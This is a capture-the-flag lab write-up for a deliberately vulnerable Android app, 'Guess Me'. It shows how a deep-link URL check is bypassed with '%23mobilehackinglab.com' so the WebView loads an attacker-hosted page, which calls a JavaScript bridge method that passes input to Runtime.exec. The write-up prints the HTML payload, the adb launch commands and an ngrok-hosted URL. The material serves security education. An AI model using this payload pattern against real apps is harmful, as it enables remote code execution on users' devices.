Guess Me
android webview deeplink

Description


Welcome to the “Guess Me” Deep Link Exploitation Challenge! Immerse yourself in the world of cybersecurity with this hands-on lab. This challenge revolves around a fictitious “Guess Me” app, shedding light on a critical security flaw related to deep links that can lead to remote code execution within the app’s framework.

Solution


In this lab we have 2 activities:

  • Main Activity : and it contains the logic of the game which needs you to guess a number for winning
  • WebviewActivity : which is the interesting part in this challenge as it
    • handles a deep link
      <activity
                  android:name="com.mobilehackinglab.guessme.WebviewActivity"
                  android:exported="true">
                  <intent-filter>
                      <action android:name="android.intent.action.VIEW"/>
                      <category android:name="android.intent.category.DEFAULT"/>
                      <category android:name="android.intent.category.BROWSABLE"/>
                      <data
                          android:scheme="mhl"
                          android:host="mobilehackinglab"/>
                  </intent-filter>
              </activity>
    
    • contains webview which we can control what it loads with some constraints
    • The web view has interesting settings like
      • JS enable webSettings.setJavaScriptEnabled(**true**); so JS code can be executed in the webview.
      • JavaScriptInterface webView3.addJavascriptInterface(**new** MyJavaScriptInterface(), "AndroidBridge"); so If we can run JS code, we will be able to call methods annotated by @JavascriptInterface which are:
        • loadWebsite(String url)
        • getTime(String Time)

We see that we can accept intent in which the DeepLink gets handled

public void onNewIntent(Intent intent) {
        super.onNewIntent(intent);
        handleDeepLink(intent);
    }

    private final void handleDeepLink(Intent intent) {
        Uri uri = intent != null ? intent.getData() : null;
        if (uri != null) {
            if (isValidDeepLink(uri)) {
                loadDeepLink(uri);
            } else {
                loadAssetIndex();
            }
        }
    }

There are some constraints we need to know in order to handle the deep link and understand it to find how to exploit it.

  • The scheme must be mhl or https and the host must be mobilehackinglab as we see here
private final boolean isValidDeepLink(Uri uri) {
        if ((!Intrinsics.areEqual(uri.getScheme(), "mhl") && !Intrinsics.areEqual(uri.getScheme(), "https")) || !Intrinsics.areEqual(uri.getHost(), "mobilehackinglab")) {
            return false;
        }
  • It accepts a query parameter url and this url can be loaded but it must end with mobilehackinglab.com
String queryParameter = uri.getQueryParameter("url");
        return queryParameter != null && StringsKt.endsWith$default(queryParameter, "mobilehackinglab.com", false, 2, (Object) null);
   

The 2 above condition are in isValidDeepLink(uri) method.

and in loadDeepLink(uri) the url in query parameter gets loaded if it passed the tests in isValidDeepLink(uri) method.

So in order to load a url you provide the following conditions must be satisfies:

  • the deeplink url scheme = mhl or https
  • the deeplink url hostname = mobilehackinglab
  • url query parameter exists and its value ends with mobilehackinglab.com and then this url will be loaded. (This condition is the one we will bypass to load a url we want).

Crafting the payload


After thinking we have a way to bypass this and load a url controlled by us using.

  • url=%23mobilehackinglab.com

    %23 = # and it will follow the condition and load our site

  • url=?test=mobilehackinglab.com

    test parameter doesn’t exist which will follow the condition and load our site also

so the full powershell payload became .\adb.exe shell am start-activity -n com.mobilehackinglab.guessme/com.mobilehackinglab.guessme.WebviewActivity -d https://mobilehackinglab/?url=https://google.com%23mobilehackinglab.com

and it loads google.com

now we want to get RCE and this can be done if we read the javascript interface methods well.

we have

public final String getTime(String Time) {
            Intrinsics.checkNotNullParameter(Time, "Time");
            try {
                Process process = Runtime.getRuntime().exec(Time);
                InputStream inputStream = process.getInputStream();
                Intrinsics.checkNotNullExpressionValue(inputStream, "getInputStream(...)");
                Reader inputStreamReader = new InputStreamReader(inputStream, Charsets.UTF_8);
                BufferedReader reader = inputStreamReader instanceof BufferedReader ? (BufferedReader) inputStreamReader : new BufferedReader(inputStreamReader, 8192);
                String readText = TextStreamsKt.readText(reader);
                reader.close();
                return readText;
            } catch (Exception e) {
                return "Error getting time";
            }
        }

We see that the parameter we pass to the function gets executed using exec function, and we can call this method and control that parameter, so we can change the parameter to any command we want.

I used the same html page made by the challenge and made the command to be id

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Android.showFlag</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            margin: 20px;
        }
        #result {
            margin-top: 20px;
            padding: 10px;
            border: 1px solid #ddd;
            background-color: #f9f9f9;
        }
    </style>
</head>
<body>
    
<p id="result">Thank you for visiting</p>

<!-- Add a hyperlink with onclick event -->
<a href="#" onclick="loadWebsite()">Visit MobileHackingLab</a>

    <script>

        function loadWebsite() {
           window.location.href = "https://www.mobilehackinglab.com/";
        }
    
        // Fetch and display the time when the page loads
        var result = AndroidBridge.getTime("id");
        var lines = result.split('\n');
        var timeVisited = lines[0];
        var fullMessage = "Thanks for playing the game\n\n Please visit mobilehackinglab.com for more! \n\nTime of visit: " + timeVisited;
        document.getElementById('result').innerText = fullMessage;
    
    </script>
</body>
</html>

Then i started a server at port 8000 and started ngrok using ngrok http 8000

i got this url https://91e2-156-199-159-107.ngrok-free.app which will forward the visitor to the html page i created and hosted.

So we can force the app to visit this html page and then it will execute the id command because of the line var result = AndroidBridge.getTime("id"); and show the result.

Our final payload became ⇒ .\adb.exe shell am start-activity -n com.mobilehackinglab.guessme/com.mobilehackinglab.guessme.WebviewActivity -d https://mobilehackinglab/?url=https://91e2-156-199-159-107.ngrok-free.app%23mobilehackinglab.com

and …

image.png

GG !! we got the RCE.